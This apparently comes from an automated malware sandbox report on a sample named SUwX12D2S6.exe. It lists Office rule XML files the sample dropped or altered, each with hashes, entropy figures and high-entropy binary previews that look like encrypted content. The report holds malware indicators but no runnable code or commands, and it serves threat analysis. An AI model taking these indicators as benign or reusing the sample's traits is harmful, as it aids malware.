Preview:	<?xml...Z+Kf8..Zq...M-.6...O..."k...L....p.S7.sc-._..#[.W!...gK.........O~..h.P....OC3.;gA.8..9E+...x.Dx.w...,{..I...U.PB.y..3....].#.FHT....j.6.....>.%o....M....~.......f...2..f....pd.RZ.I........i.Q.,F....C5,.JH'..?620.n.u.x.m]...Mp..2.'...._..`G...#lm..`..`T...,.o{...Q]..W....t......k..&..3.....x1...,.=Q...Ae.."....../...&\|3.v....3[[..?7.....e.....F..:..D2..v...../...M~.1.....=v.n.P....^.....F.......B./.g.dA.[.....2....lg[...b.y....n._wI..x.. J.........;...%...M3..Pw.U,..Y._.L.c&sU...[H0/..d.G...Mj..j.,J.i$lE.}.....x\|[.K....j.g.h....."....y...>...le....!.~...e..p..VW.Q............6...(5.r&...Y......?.R.....w..'.0J....E..p.)...... %M&s..9.Y..4k^.3...T{V....r...)..#..B.f.[.........:dG.pO.....<.KDKS.y.lx.+..\.k....Y..04...........+..B..FN?......m......U..}..<.#.=../\|.#...V..\|aO..a.i3I.-.t..T.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.748796654435738
Encrypted:	false
SSDEEP:	24:smR0eDDi7pgjtTTMEF091NHK+m7aIhVbD:smTCgjtcj91VK+m9hFD
MD5:	443EF06D72FBDF305F89B09A5A37D018
SHA1:	46C6EC7A2E5F9884D4B8BA31E2003B161BB88715
SHA-256:	EF9BBBF341C492AC30B7E0E61004727FFAAF9D87704528AF25B04410E4AA3714
SHA-512:	9BD7729922500AFB4FD0BC8ABFD48636AB8D8653155FB5BBB201787E78E3E3E51C02C0DCE0352E46FDD9E674E0870E104147D374A835F1B5041577F9B61DA7F7
Malicious:	false
Preview:	<?xmlh.7C...E...,G3/..YWg.e.o.\Z..B..6.....2.O.&A...-l....n..+.s...2U..Y...Q.:9...'......@.l(....;....<oa...6....q..\|^5.n.a.&;.#1.....T. }/..];K.Hs..;...6.c.h0.....:s8@.E6.....@...Y.O...8z..`.3.Md)...X[.o.....[....C.".:1.8...y...n..r.Vi.....Q.aA......Z$.(.2]........n..`.....u)c"..!>.....aZd..]...C].^.,w.(.G...3.i._.W.D/B...`....L.x....9B......".EU&.[\n.......,.......g]..F...?./....[.{\G}..U..q5..T-..W7..'.&.6O.F.S...h...SNid......o.....,,DD..Gr.f.........~..T..:.{.S.S..<.K.r+...3o@..c...1.....:.,......>........kw..r.2...s.r#D.-<.ljj'...E!G..2k2....X...n..@. ..>.@......n\.^..{k..t/a.....NX............p....u..Ew.{..k....+c.c]..)........?6I.......'.J'2 .......W...d..I7T..f,......:W.b..q.jm....N.4..UB....`w..y9.......`..N.D.{.M)........<....tz..........Kv.1...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.8033669186479075
Encrypted:	false
SSDEEP:	24:uDMzKXlLOsaNpP+KpoiWu1W61oohZWljmIvePoVbD:SMsosYpP+KpoA/1ooh8jm4bFD
MD5:	59BF6DE51C69BD9B8DE0B951578FE9DB
SHA1:	0D0C59E7F7001CCA2A59FF97D8219442FEAD5559
SHA-256:	E99E83DB284DBE80ECCA8B795A07A8464C7960DAE1340DE5139B122F9C297034
SHA-512:	1F7CB5E5F744F826027DA08422DC81EDD53516311E6612C115D3626FD637D52899B66E4D14064FDF3A55F33F2BFC713BD111A8D77D5AE71B274BD057B105A93D
Malicious:	false
Preview:	<?xml.[..h..2....K("..tL..V...A.5...B'e.......g.Q....0...:u.M..6..(.U.d..xV...po@.....H.ZW.{......(.....7..!..d...gQ..3v.....(...y...E..'...")G.F..-.C.P......8......J.2.......`b9...$.#._....1.j./.I`.=m.@.........C..RW.+Rpo..c$..y..I..Fge. ..6;.$L.W..f...R.TO..SM.@...4l....].D.....d../.:..I+.A.E+.....&/...q...F6B....w.uA..\.....t.?.2......1...?....s.Ln;s?.~9w(..Qo~..C.S.J...\..T7.>..u...mz..'.f.......k.. ..........C..g....D...h..V-..../.t...R~+..Uxj.Cu.[..t.9...o\|........W.."-..p..........f....RC.~..:..X..n.............i......Z.f..si\..........a.{...N.D..&..].1A....}..-.Jb0.).8...!.z.L.K+.l....TC....N.....&..8.i.lF.........T..Q.4..y..9Z..}{a.m......8..\|...z!....5.X.ko..J!//..v.P..C3....yO..."(....f....R9@@$.I...5..l.....4W...QA.O'..!..#q?.W..&....8.e...L950.B;8...6V./F.wm.......Zm.h:0X.o...'....I.)..%`p7.........l.cZQ...j.g.M.a....G....~...M..."..j....>.&j.B...,..Y$.T...3..~._..W..O8.............itkm7MOsOlVQkbEQhWCVEWoMyGFhV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.739063213610696
Encrypted:	false
SSDEEP:	24:D6gK+ttxTcvbGptD3mSseyUVjH/dLDOxrJFsMvLlDq+hZlVbD:D6Mt3cvbGptT55yU/DOxrbrDlO+JFD
MD5:	91B44362AEDC8250C11619BD7EE80E78
SHA1:	21EC6DD809C3BEC0FAFDCF955979856C63FEB67B
SHA-256:	85711711E800E11D3FBCCE03E115914D1FDEBDEC9383C93E465C89A35DC3587C
SHA-512:	EF198744FF54EFCA88EB3611A8ED8FC2D96B8407BBCD4D8D62EC52BFCE5273E09327B9051DC1EF4F729871A77EA2D421D4AF085E5A7EEFEE3C16EE1FC5C9C5BD
Malicious:	false
Preview:	<?xml.......Iey...].C..E..Kx..D,~..........I.p..+`T...}......@=56.{YtR..gQ..TU)]+.-..#Af..q..7.8.....XPL...a..c.......x..Dk.+...HrZ..t.V.V.r.H@5.d...@......\bA...=>Tz....L......{_DI.Ob..k4WZ...t..o.....Ghk..@.y.O.j.e..v..}..Y.v.....\|.O.$;S.@...5sp.Y..h....n..u......."..2)P9...#.YZ6...E....z=b<...9.ib.=...P...0b...).....gk....D..4$...E'..W..K.l2........\...{e.$..k.........SPb5..... ....o..1~2j. .Z..YMA.4=...m..!_.#.=d.!..y..^';..@B........ 4l...&..M4....9)..uA.;..C...^..J.n..3i.d@g.Y`1A:.x.\G.3..H..4Y4.:[_T..9DI.j...2...I...-.."}~.Y,..`P...N=......`...l.f..P.4Y....G.....%.N...@c.@...Bc(.. ...r.-q.8.........^zA.G....S.53.p.}$`...?...z...\.....W.={.B.".n.?....y..."l,...02.v.y$.R5..".Gn.f...-\...6..B....m.M..n..%vX....K>.6g![.\.....W..ypi.BGJ.T.*...>itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.977353542253144
Encrypted:	false
SSDEEP:	192:2AUsAKp14i2Y+qohnEvkev5vbtmAo+PoCkpBSuulXcwGH:2Ak229mSEvkW5xoC4ycwW
MD5:	75CA9DC10ECFAC311A89D5AFF83E525F
SHA1:	D6CBBB585B2C019387A0159FF5199DDFD3C689E6
SHA-256:	64D8712236986AE4E70068C2D8F178E1B383B30EB234E6B457767BF0ACA17947
SHA-512:	E5E268E4B8507DB935B9A7DEBA5FC895FEF71A8E526E0156ED05FBE748A28EC317F28704D84C707F648BC14A7A5EB3D19047B15B4C918529C36ABC9ADE656AFC
Malicious:	false
Preview:	<?xml.'.4{......E...X.4.\|..i..TNU%.M2.\F.....(.!...8_i.!?.e/A<~..i../K......%..y.J.eu.b..UT.0."..y..@,..7f1.ug..`UM......CF.....x...2.........s...:F.J......S.n.....2.d.:M.......g.l....R......D..H.?...0t...=tepzM>...(.....&g....d.Y....o..".%.L...i3N.R.....k.g7E...^...>..S....j..E9rB.-As......e..d.....;...m..{+..{.N.i..#.V.O..B..u...#]#.ra.4.f...]z1.d....&EL./...z.E......./.$.~XB..9Z.h....\|...Z.5./...O".CV\|....K...$..R....r..E.}..~..Ip#.b...K.!#8....w.&i.+.s.3..W......a.4....U..`r..B$\|..33../%.F......$....$..... . +.......%.9X3^....d......N0.........7r.J....7id../..,._...\|....tl.@..}..t-.mg.....;...HS...u\T.V.AWW....U..B..%..wZ. U...]..GS.8.H9.3.E..............32..r........j...?F$7.M..z..t...e..%mG.7Wq.;.x.....@5S..C.Oa..E.....g.Y...?Ix..._.Q..sq..>.....".nA.........R....A..:J.-...T..c.#......].V..4B].E.L..9.......V.Ps...NX...p.. .1C....,U....r.....).....qK.B..a.Gl'P.........W..}.Gy.E.dR........j(da..au..\|...:.N.s.qB'......F...6..7..`..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.831811740502756
Encrypted:	false
SSDEEP:	24:6399Gf0ryrLw9Vc/88aisL/ElnaeNOrJasWxD4/Ajlo8GU519VbD:i/Gf02rLw9VLZp/4sakAjlPGg9FD
MD5:	247BD3CF76F83F9D1F9013A83338B1D3
SHA1:	26254FCAA5CB2EDCE886CF16A60BE08B1BB57240
SHA-256:	78A14B417C3112ACBAECE664423D7BDB9A45C8909DDA36742C5B9C5456A79A6C
SHA-512:	037B16EDE92192F421E71F60376B226BD2D1C446FF4EB609EE88090BE2B3CAE16AA71A820DC13E98642BEBE3526A8FBFE5E9AB1D45127394DDEBEF7C6214401B
Malicious:	false
Preview:	<?xml....=/.uj[...@...........1e[\|Gz.).^.d.......Y....<'0.m........z.wm.Cn.....u~..jL:[..N.+...:..w..1.y>...la+.q...;..:.O....)fp%..1.g.{..O...e.......?P..G.;...h.kp&....7..;.w.........I..........E.,..a.G>..].5E).`Q..b".....U.\Y.... .T..Ma{.=..Qnu...i..-Q..^.....<.{.....9.Z...o..U...$B.C.J...#.L..!.FtU.w.r..O.(...=..V.............v..<.LKSz....;h....#..}<r..S..........".!N..$....^..._p#...O......Nr....R...z$.....QO7cv.n...$..S.?.X..;.nQ........K....7dg.....[..;)QNG`....].&..Aq...%.........k.....tZ.#.O..6.O...X<jQ..#..eC..S9.9.;.a....N..DK......p..\|6.(Ow.....8..W..C........1...'Gu. ...+..K.k....=.P.4$}.7@.....X8O..`L.4`1..u(...i.......h.(....L..-...tf.....Z.Jl@..*..EJ..1~M:....I^...}W!..N..{.&>3.K...Y...VM<#.....d.J{T.6..)'..X7.@r...rv.m$h....!........4........q.J.]......[N...gj..N]...X...fr.8_.h.B5:.e.lM5.Z....l./..C.n...@...,i.R.t..9.l...u...Ag.<.B}.y<q......fF......d.nF.OXd..d.AV/=.$.....a..q....@.$?........F..E.T.......2L...Q.9..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.815604820209031
Encrypted:	false
SSDEEP:	24:Cwrd+dhKY+N/m1d0KvgqRLL5viYG4RF1e/KIZV52VSBhCtjXyOVbD:CWd4DUmgK5ZG4g/KIZCV20bXFD
MD5:	99C3DABC1547D14D058B92B6F4250C2E
SHA1:	51B64CC92B4A798AF2E9E6BF77EBC80EA5713976
SHA-256:	EBFCC6202A4B8BB50937FF1D79734FF941393C4F04C51D9250F32D887112EB06
SHA-512:	FDC11206EC83884996A6D9F2124DF0361CDD976808A046B0F4697D1D1BBA5D5121C908D488CD92B4E55E16F82F36AAE77CF1E49FCBBF8974CCF7B9BC11DFE1CB
Malicious:	false
Preview:	<?xml.[...r.Y.....V.)&.w~..0;.o....c...z..........+.........3.9.$..<..r..f...=.b..\d.u..J.....7.T.~..U...5....p........a.l...C..6=&1U..7.NU..Z.....bUoY...>.4.s....f?.._"a...+.,9.l..k...Y(....ch.........Vz$.u.b=ye..&.1...V$...%^5.....XB..c...{g....49..Pukq.%..Ml..`..m.y"......j.5c.$.d..w.....%4..-)...H..z....5I..{J..2....f....(J....s..9.^<h.X...G.=L'n.\..1.fd..JX../.I...!.....l2Rj...u.5.z...Z.W/O2M....C.......(.....a.._]?(.c..lW...J].....s...c...^.5"?qC.y.k.cV.2x.o`._......;1.o:4..C.....x..E>.WM....G.\3..jz.$..1.{.[..X.W..P..lwJ..i.q...s4@bj..r..7...o.{v4..F....P..b..#.H.SYiy.I.".?..$P.?.-......FM.i.9...]...r.HE...:N.C..Z5D/:.M..`.Q...........d.(.....F.9..s.#..I...8.=X?8^..s...J. ..>W..BA.%...\|I.........x....>.......7J..W.H..*..H..L`......9.6+u.(R^..{.X8.k.G..~..&c.........j1......xBa.z.(.3..i3..q......._..%.@rJ..-.g.D...B......p..&U..Wi.6..[...m.I.Z..>.t(.U.^Pox9&....d5....t..@cIL...h.W..Y.b....CMM.K..o..M.D.:....e..v......5.c...c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.777204741511473
Encrypted:	false
SSDEEP:	24:jp2e5qh0byoOlsZ3upH3q7zgRiaIvNvwNx0+BVbD:jIeIabyoMhJiWi31+BFD
MD5:	08634E80FB1EEDF54DFAA543655F01D9
SHA1:	30943E6FEE34E58328F885C472021DA11AAC1C19
SHA-256:	DF51A1B0A3AFDD70D8825C3A5679A3B466320017F7EC973C5EFA931983951C2B
SHA-512:	789BC572AE7D66AFD3873AC32FFE0E676A79431AC957812FBA8E257BAF427DC59DF7A4382082AA38B24CF499C730C5CEA9277D7F02C1C30CC5E75CF5D9FC21DE
Malicious:	false
Preview:	<?xml....1.,..]. `3wt,..ol...O$d<$P.,..+.n./......p.$..o.2..n..6..Gl.'.....7..I........-.e.d..._r..3....4...l.z.2(.k.{.<.'e.Sc..4.x...-M..Xk....f..LN.._=.{.m..aX_...L....n.i......l.M...../#>..\r...iNI..w;....r#.V^3g....s.2.+.3..yM!-E...QD.E....Ae.;B.K...q..2..o..r,.t....O.Q.Ws^....g..}..T....f..k.4x.z...;.?....y<.!?..^..ye....-..`.N.T.`?..1...k.3.F...b...G.w....._D..u:.y..U!.(U..n..8...m.T...cH...$.z~.~.N..F..d44..=G]z~.....U.Q......w..\.j#....&........~.z.3h.t$...Y.....m......G..Q.............\.H4.&.....8.`.%E.t...E]......\|...._...->......WQ.r....W..+~..i!\|t.0r..#..gk.q.U....D.d.....;...m=:..B0...uo...]..&\..G..\|.kd..`..RN..p.'(o........J....nk,..s.X....w{@TD%..0...m.hP.~..4Y.....g...8./$.v....+.J.e!...\|..f02...../bo..W.E_...=R..m...<....I`Rnd6.....X.`...E&.D..=i<7."*~......@..d.M#....e.....a.p.../.l4.V.TW.7.Hu....z.ou[..)&.....-.r.C....(.:...7...{2.H..-3...2Ga....{......8....R6..#`'..\|..HE.."...D._e.d..E.-..6...Cw<..7..n...X\..itkm7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.9365993051750365
Encrypted:	false
SSDEEP:	96:9t3miHVDE87PDbahgNdlgjvtDgEzdLAjAeYc9:n3O83HlgVPRUNYk
MD5:	D15291B339F8798A6633953A6024CE1B
SHA1:	CF7E35FE2321974816FD77AA3D870ACE82CA4D6E
SHA-256:	C73407A12B2BA204E9C10CAAC8FD25CAF4FF6AE05E77E97284B0B329C916DBE1
SHA-512:	BE75C8C0E9840A858C94EB9C51043B02F885B03416983DBD7BE64DE7F326DC40D7835B7AACAA994C62716F8B6F627F90E5EDE27B817157329B16C506FDAD24CD
Malicious:	false
Preview:	<?xml.\.......4,7L^K..........\|.K.;k....,..X....!..<.......0.3..K. ..l.Ou...D...<.k.......9s.(.(.<...\|..`.[...>..C. .l0..\~RH..]...Vz.cU....V.f..%...Z...r.\|t..(.KJ.....Ob......%_..8<..H;....A......8b.W,..".R....u.....IN...(...:R.UI`y./m.E../..Q..N..}..7.....A..l...D...?....K....!..w.o.C....#Y.x........+U....P..{:....h...a...F#........i...?SAm7>cl[lt..O..>.pMf8.ZOD.6.g..sI.T7S_...h~..g.#LY...{....l.4...s...3..\|.o...9:....&.F]NP....h@=31<...k.G."....VO.>..8:....".d...0.E.4*.Y..;.T9.M...X..{...aL.$../.b..4S.1.E..(Y./cW@M.T.........n.]b..W.XQ..\.......Yk.m.(............\|.P...}..C!..9.9{.N....-q..lt=.vu/..'v.q..!..r.,..<.oaVG3...N9..#4^..&..h$......i.\|...c.....f...`..2$.j....^.Z.G....7...{...}N<.'{=..f.~.m.>H....4.h..$.wl.A.%o.i..3......F.../.J..zmnO`aDT....F.L.P.n...C..%..X#....7..\.;X.y.L.X)....%..g3.R...r......$..qab.C.+R......H...7.G.m.....>..U.o9..h..l#[...6Rh..Rw.M.%E."...)Y%m.-..U./.J.g...g.wL..YEwm.&.l......VFn......q.G.`{>..g..u..{m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.83190991534129
Encrypted:	false
SSDEEP:	24:4/x4Fg3TEX97xi0I/RhZWSeggpFblYURqDJzSdEYjnuIBNmVbD:1a0ehZWSe9YSHjnu/FD
MD5:	B545B7E8723FC8F7D9208945A22953BC
SHA1:	AAFF1C09FDEAD208574801863BAC40C59F5B599A
SHA-256:	04B325D26F3D8C8B1B7B1EF6596ED6566233A7328EC9908B1EB4F889894F28C2
SHA-512:	AE284C050BD60D9DB915A2D5F57270B83904EF8AD5CDAD75E6A8D7C2A31C065C09A1BA9A2BCF275CFBDE370C7848A8C208EBCB29546497DCA734F1F81FEA5061
Malicious:	false
Preview:	<?xml......%Gq.I.>.....#r. .u.}Lz..wd......9/..m...7..{&..E.>..9Vi./.!l..,...7.z......~.W.f[..(W.V!.9.C.<a.t..`.....+.0......!.?..U..+.....X.6.g...c..\`p>..(.....[C.V.......P....... <....\j&..R.M.....s.{........g.H....v.6..a...t.`e..C....U.`(.z.ZG@..iA.m..eQ......LR.$..p.$(..a.....a..3LV......v.w..M.3..o../L...9..PK\..@.`..yF.h.2..N...1*..>]<.BgF.......y....l#..Z..,V1O.....\.T..e.H....Kz.>".=`..KW.D...".0....Q..-....z...A...f.sm..n..;)\|..;..g..Gyk.vlw=+mV..N.......k....I..)..RME.+.......d&R...r...}...oJ...y.?........ I.yf......T{.)8w....$...o..x..9..Y.>.a.'\.}uN#?..S)......MlL^...u...R..u.@..Gx.8...x...#....@..C..........m..&`..I...X....b.b..z....YK.....h."HK.....W. p..A].b,..?w..t.Z.Y.F....u.J.`{G.-.[...j...a...P.?..).....X.&_y........O.....B..d.M. .).....Rml.5>=...r...4Ho..].:.....)..oE7P_.FX....o.a....!h...q\...;.4..l........B...]M;.U,./^D..!Az%.!.!T....."q..l.Y"k.:...,.g).......<.....r.I..D/mE....Qk..0Rp...3&\|...FO."cD...y...@..9b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.976033881534646
Encrypted:	false
SSDEEP:	192:RGWLIbRVFnwiIWcv6ZdnLXglXttVk5WFZdO:gWMbbFwiIfv6ZdLXutVk8ZdO
MD5:	C6A568AB422B1198653E37261A5C735A
SHA1:	150CF7E37D4BC548D403BE88830A14C7E578AF45
SHA-256:	FDFD896CEF7DEEBD1788AD6225BD942689FB3702F177B8664ACC4E23DD1A5B54
SHA-512:	3AD7C6F00D9076EC37737BBB6775E5FF9555F44BABB07870D96276425481939F316F444482432E2CA91FEE230406BEA27746F486D82B0BC7DEBBA471AC111B92
Malicious:	false
Preview:	<?xmlH....{\.H........m.l\|.n=....H..n]G.5H...^..\|....A._8.....5.y.X..I..N>.Pt....Fn..$X.f...l......n...8..~.q.C.:C.J...V....t.u.!....!.W`.tM%v.F/?0....u6/...-..z....# m-..N....]-...>2.u]...q#\K.R..}C........;..I..8y.(.]Gn.6Z.-k.?r.6.X...=..#..P...............;:M..mI....!..6Z._..wbdUg...n.!c..LR....!._......+........s.2.V...^:nXrPs..../..m..=.S...kV.\|A...~J.6...R..oK.-9.-vx...}......uM..[<8.v..p...Y..J...........~.\L'/.4}1.kB.`."..'...O;5o....Y......J..2Cd...o.....G..2.fr...v.'.D.C..\|...s.....\|.k.h.B&.Uf.3.w...~.P;...e.9..l}knB.-f"P2..U(.1.v.;.....G..tP...o..\.%(l..........9.=...\|.t.31....-{`.FR..I...T.c..x..e\|h ..u.P..kD3..K...6x..$a....j.+.z).&.'..,r...s..Ek.{I.i...o.......W.w.6.{~.R.........fVW!h~.fO.S.v..o.@.i....[.....s&..e....!..!`...h5.).:..A.0{B..T......U...).#.....\| ......l.......\.-{..V..-..pT...Y/.....:.....9...[.#.+c...6.p?....j.:*..>.k.V..A.G...O.=.......Z.p....(um..?\|:I.-Q..P.`.2C7%q.<.[M.;..[..P...L.o6......I..(.A4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.729680658718497
Encrypted:	false
SSDEEP:	24:+pw3XkVs+6Glpflokwx4Sw1TLqSWZVx3PVbD:AVnlZQPw1T+Tz3PFD
MD5:	BFBA0F05838FE1C0F8AA48E9C704B7E6
SHA1:	5211D778E64B26A292D404B5E6A36D088A74BB56
SHA-256:	C922372F79281134787E6987C773AEACB38A5F7E1A58A5762A80C41B97100EF3
SHA-512:	0EFB5904F666FE2F2F1F1E11961281C7BC579006C031D8B6E5C46D4DF76F5ED9BFCDFD8D7C28DEF1BE9921EDA3F55611A1F547398B7E1F665BE5ACDAFD7E3FB4
Malicious:	false
Preview:	<?xmlC.J...l.sC.F.}.....h.o!x}.U3..N.4.Q.JW...O.S.^.1.... .Y...t..f>.....B0.....D..,.....kd..?._.....V..f..l..gJ.,...K.U...J.\|...n...ut.>g..\|.#}...}.Ct..O....B....%..y.+........"...P.5........G..yP.D...5....d.?7@....>..p..~.1C;......'../.P#a."R.J.[{.....Jc.h.i..`}.k.jS+..R..e.#DK.u\fw...A.F~Y.!.B.X":..bo..,#hBl".U}..1.\|.\.h.....7..\........4...c..HSG....x.......\.kRsUV.5Z.8.a..\|.K""`....0..!...1.d.h.....b\..kC...=..[i.e.T....\.'C.+Cm...I....O.......2DL.at.J.O...C.....}......1m.e.....;uc..}..i...)J...q.........$.b.;.n.L.W..=E{..~.p.9.z.WD{..%SI,./....c....?..iC......T.5].[....M-...]...m...(..!K..."f;,......iO.j......Y..>..t..x$.J.&..q..V.vG.(...Y.6.>.Le&.y...pa..Q./.zL...&.B-..Y.C\.j.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.930184606184745
Encrypted:	false
SSDEEP:	48:6LF8pM9tpuK+oAI22e5l6baOsAO3RCMej/zFj9BoXLEkXRBEytFD:6x8pM9tnAIu4wXRCMej/zFj9BoXNB5t9
MD5:	1299CF25A9A67832184BF36464A39048
SHA1:	B56EB1D916F9894DCC519FBF9DF8B676BA6DF552
SHA-256:	7A1DB4B6BF2985C26A7A5CF9F94A6228D2086F640A958BE26EA7007D38328B41
SHA-512:	1F4ADE6051780C9ECF7BFB233A260BBD65FACE6B110E1592D6BEEE474FFE76F89AAF256728FFED4DB92A26CC451E03C4885CF91A97F71C01F8A66176C7C99AE0
Malicious:	false
Preview:	<?xml.0M.ww..s..........Z0vX.`....R..+zNL.....).G/..I......>...P.4.......C...6.>.k..E.bW..ny&.U.L.?..S.l.N....2....O +..@...5.....$....O\|R...o..&_.......]..t@Y...S.Q<..e.<.`....h.S..v.B..........&.W..=..8.s..O#`..a..2.x.4G..X...">.-.UR..o..N.5f...o.s..c_.K...f...'...6'n.+#.%...9OE..H6].[...wC5.a.VR:......C..IVN.....o.&L.8t.8.......$q_.\|tgZm.>f.[.@l.K...}...d.m...Z......,......+^A..)/.<.r .f..4f....K1.DT3....6.p...GU.?.y..V6...z<..`Z..j......2.]..^.x.6.UI.L.O..['........g.q+..D(.z....@\|$..].E.=t/J.. .&......UH.);.A....@Zk.=~......U.....H.......l./..E.8..4.u.........~....v.V1+N......AF.....U.I.1.......Y...N..)....p..!..!..=d.K.?R.....?.6,,\wp...x(1..qE%..UA.c..Z.I....x.X.$V..mY...=VC=.3.L+.0d.l....#..d9..e0f.7..../^............=.4..J.....9.$+...0cA......:....R.p...^.6&....I.OAW..3.U..B=..#..7....K0.....Y.~H...jJ.Yx=/.tB.....4..g,s......`m.*.C>R...{..2...........X..G..`....H....m..^.'... .HS,B..j.c.....e...8bkK.I.wt.a....V9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.83800626027861
Encrypted:	false
SSDEEP:	24:IjkwxvslVNR/H6Bf5KTRk6OojiMjPj/cmNuXSuRvKP44PcNLNb7vVbD:RAvcVNRSBck6OOj7/clXSuRiSbrFD
MD5:	41A25879F1C1DA9A30E1F36EDB19AEA2
SHA1:	07407B1DE7A9AF679FAFAB8FD9B1B59946D322B8
SHA-256:	849F811DB895729D62ED007BB3211B66D48BA0BE4B3DD1499222BA41D77E6EE9
SHA-512:	66C8FECC8155A6394463E659DF846656E7253BFEE24BB41252416221C39F3C9D7E91CA285D232ECCEFF3971D19660779F5A9827BEA91E36E38367631DD0B8BC9
Malicious:	false
Preview:	<?xmlu..$.>.d.u[1......{F.(.=...>..X`3..H`..].@..!..."w'trZ....9...q....^...dX......g.).[x3...}z..)..Uc.....Va4).wg.........W....3...XL......W.%>...3.w...B..~T.]...2\...eg4xf .@.ek..5...f.gv...o....".=.P....Gmpp&U.....J..E,uj.....g.:..R........za.P..?5H.&.).=..G.A(L.....(.._....s.....-:...s.....Y...?."p..._..{...7O.\N.:.........L.....>..o\|=HZ&N.+....P\..X.BYiOS...B+Z.}.....-.h.~...Q....D..F.h....K.cF...y\|"3.USo.;.....\|.........Z.h.v......=..s'.Z..B...;...aoL.JE>2.........-U.....w....\3........Z..v1.)U..g?..M.C..HB.gME+Fz...\...m...... 0B......>vE~...\|..;.oOX)..o...C............I..1(.ID.R..$.l.}.z,..eiV'.....B.2.%^...[iM..D...8...6S.t=rm..'...... Mt...f..h...4+.,.....c.,...Zw...H....CB...>j.e...j......A...Fro..".@.zI..X....@.<H..p..[-.}...... ..r.[.x..6.k...Hv.... .B...6..M..U..+.B.).M$..j..}.L.Rb......(Rmm..!~...w.......~9...z].*..r......gI...\|..'.II.Eo"H.s......O.uZ......a......Z(K.~),<O..f@:D.......l{....s;1_w.0<...3..@#O....@...]....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.92889767338774
Encrypted:	false
SSDEEP:	48:iLaqfyRxh0y0UzCk8Ri+CbeAGbKw7Jy7hKCAZjvd3QI1sECczA7Kk9NLqJGCcDf9:iWq6XGyTuM+CbLGD7JwhKB14/9oJGB9
MD5:	EBE700563A7E5DE1B778DF43193A8507
SHA1:	CAE602F7E87BBAD943B036864F72200A3A7AF180
SHA-256:	351D5C9F28259F56EF2DAD4A8B254344CBD3661FBB2ADBCB8C8189523D47FF28
SHA-512:	16F34708FBD80B6BA1411E05B6EC5ACFA3A42AA46D8F96DA3F81F589C8F7990B27B27698CDAB0501497E95AE244D2143F615028A308D177397DDFF29C4B989F5
Malicious:	false
